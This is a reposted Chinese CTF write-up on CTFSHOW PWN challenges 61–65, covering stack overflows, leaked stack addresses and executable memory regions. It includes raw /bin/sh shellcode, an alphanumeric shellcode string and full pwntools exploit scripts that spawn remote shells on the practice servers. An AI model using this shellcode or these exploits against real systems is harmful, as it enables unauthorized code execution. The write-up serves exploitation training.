CTFSHOW-PWN(61-65)

admin 2026-03-10 02:01:33 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详细记录了CTFSHOW平台PWN题目61至65的解题过程。主要涉及绕过NX保护或利用mmap等函数分配的可读写执行内存段注入shellcode的技术。针对不同题目限制,演示了如何泄露栈地址、构造精简shellcode以及利用工具生成纯字母数字shellcode的方法,涵盖了对PIE、RELRO等编译保护机制的分析与利用,适合PWN入门学习。 综合评分: 83 文章分类: CTF,二进制安全,实战经验,逆向分析,漏洞POC


cover_image

CTFSHOW-PWN(61-65)

原创

北斗尘封 北斗尘封

B1ackTide安全团队

2026年3月9日 14:20 重庆

PWN入门61

PR,可以用动态链接库修改GOT;开了PIE,基址随机化,具有可读可写可执行的段,开IDA

根据题目提示,“输出了什么”gets函数泄露了v5的地址

开IDA

v5本身自带16字节,RBP又具有8字节,这个题没开NX,因此我们可以直接注入shellcode在V5所在地址然后执行

即可得到答案

PWN入门62

所查项依旧与上题一致,PR,能用动态链接库动GOT,没开金丝雀,没开NX,不必绕过,能直接注入shellcode,开了PIE,位置随机,存在可读可写可执行的段

开IDA

看上去与上题无差别,执行

?执行试试

没事了,我眼瞎了,这里gets被换成了read,这里会读入56个字节,那么我们的

我们覆盖缓冲区+地址需要用掉16+8=24个字节,而要再传入新地址还需要8个字节,因此留给shellcode的只有24个字节,我们直接手动编写shellcode

shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

由此便可编写EXP

from pwn import *#context.log_level = 'debug'context(arch = 'amd64',os = 'linux',log_level = 'debug')io = remote('pwn.challenge.ctf.show',28307)shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'io.recvuntil(b'[')v5_addr = int(io.recvuntil(b']',drop=True),16)print(hex(v5_addr))payload = b'a' * 0x18 + p64(v5_addr + 0x20) + shellcodeio.sendline(payload)io.interactive()

执行可得shell

PWN入门63

检查可得,64位,考虑堆栈平衡;开了PR,可用动态链接库改GOT;没开金丝雀;没开NX,开了PIE位置随机,存在可读可写可执行段

检查文件性质

动态链接,开IDA

我才反应过来短了点是啥意思,留给shellcode的仅剩23字节,但我们上面那个才22字节,接着用,下一题

执行可get shell

PWN入门64

检查文件

32位,PR可动GOT,没开金丝雀,开了NX,没开PIE位置确定。根据提示“开了某种保护不代表这条路没法走”,此题可能还是想办法shellcode

可以看到,mmap给buf分配了(参数7)可读可写可执行的一块区域,最下面那个也是直接执行buf了,因此我们直接注入即可

EXP:

from pwn import *#context.log_level = 'debug'context(arch = 'amd64',os = 'linux',log_level = 'debug')io = remote('pwn.challenge.ctf.show',28167)shellcode = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'io.recvuntil(b'different')payload = shellcodeio.sendline(payload)io.interactive()

这玩意到点会自动断链,也不知道咋回事,反正执行就可get shell

PWN入门65

ber NB

检查文件

64位,可能得考虑堆栈平衡;FR,这下plt和got都动不了了;没开金丝雀;没开NX,能直接注入shellcode;开了PIE,位置随机;存在可读可写可执行段

检查文件性质

动态链接,开IDA

他妈的不让反编译,看汇编代码吧

这里调用read函数,读取0X400个字符给buf,返回值为EAX

做对比,EAX大于零则跳转到11AC,小于等于零直接寄

一路往下都是一堆判断,没什么看头。重点看下面这个

cdqe使用EAX最高位扩展RAX高32位的所有位;movzx则是按无符号数传送+扩展(16-32)EAX是32位的寄存器,而AX是EAX的低16位,AH是AX的高8位,AL是AX的低8位。大致就是将我们输入的字符串每一位进行比较,如果不在0x60~0x7A这个范围就跳转,剩下的几个就是跳转范围。

意思就是从第一个字符开始一直做循环判断,如果每一个字符都在一定区间,结束最后一个字符判断时就能够绕过上面的J1 loc_11B8来执行shellcpde了,即我们需要搓一个可打印字符shellcode,可以使用alpha3生成

生成后直接传入即可

from pwn import *#context.log_level = 'debug'context(arch = 'amd64',os = 'linux',log_level = 'debug')io = remote('pwn.challenge.ctf.show',28121)shellcode = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'io.send(shellcode)io.interactive()

运行即可get shell


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:B1ackTide安全团队 北斗尘封 北斗尘封《CTFSHOW-PWN(61-65)》

CTFSHOW-PWN(61-65) 网络安全文章

CTFSHOW-PWN(61-65)

文章总结: 文档详细记录了CTFSHOW平台PWN题目61至65的解题过程。主要涉及绕过NX保护或利用mmap等函数分配的可读写执行内存段注入shellcode
评论:0   参与:  0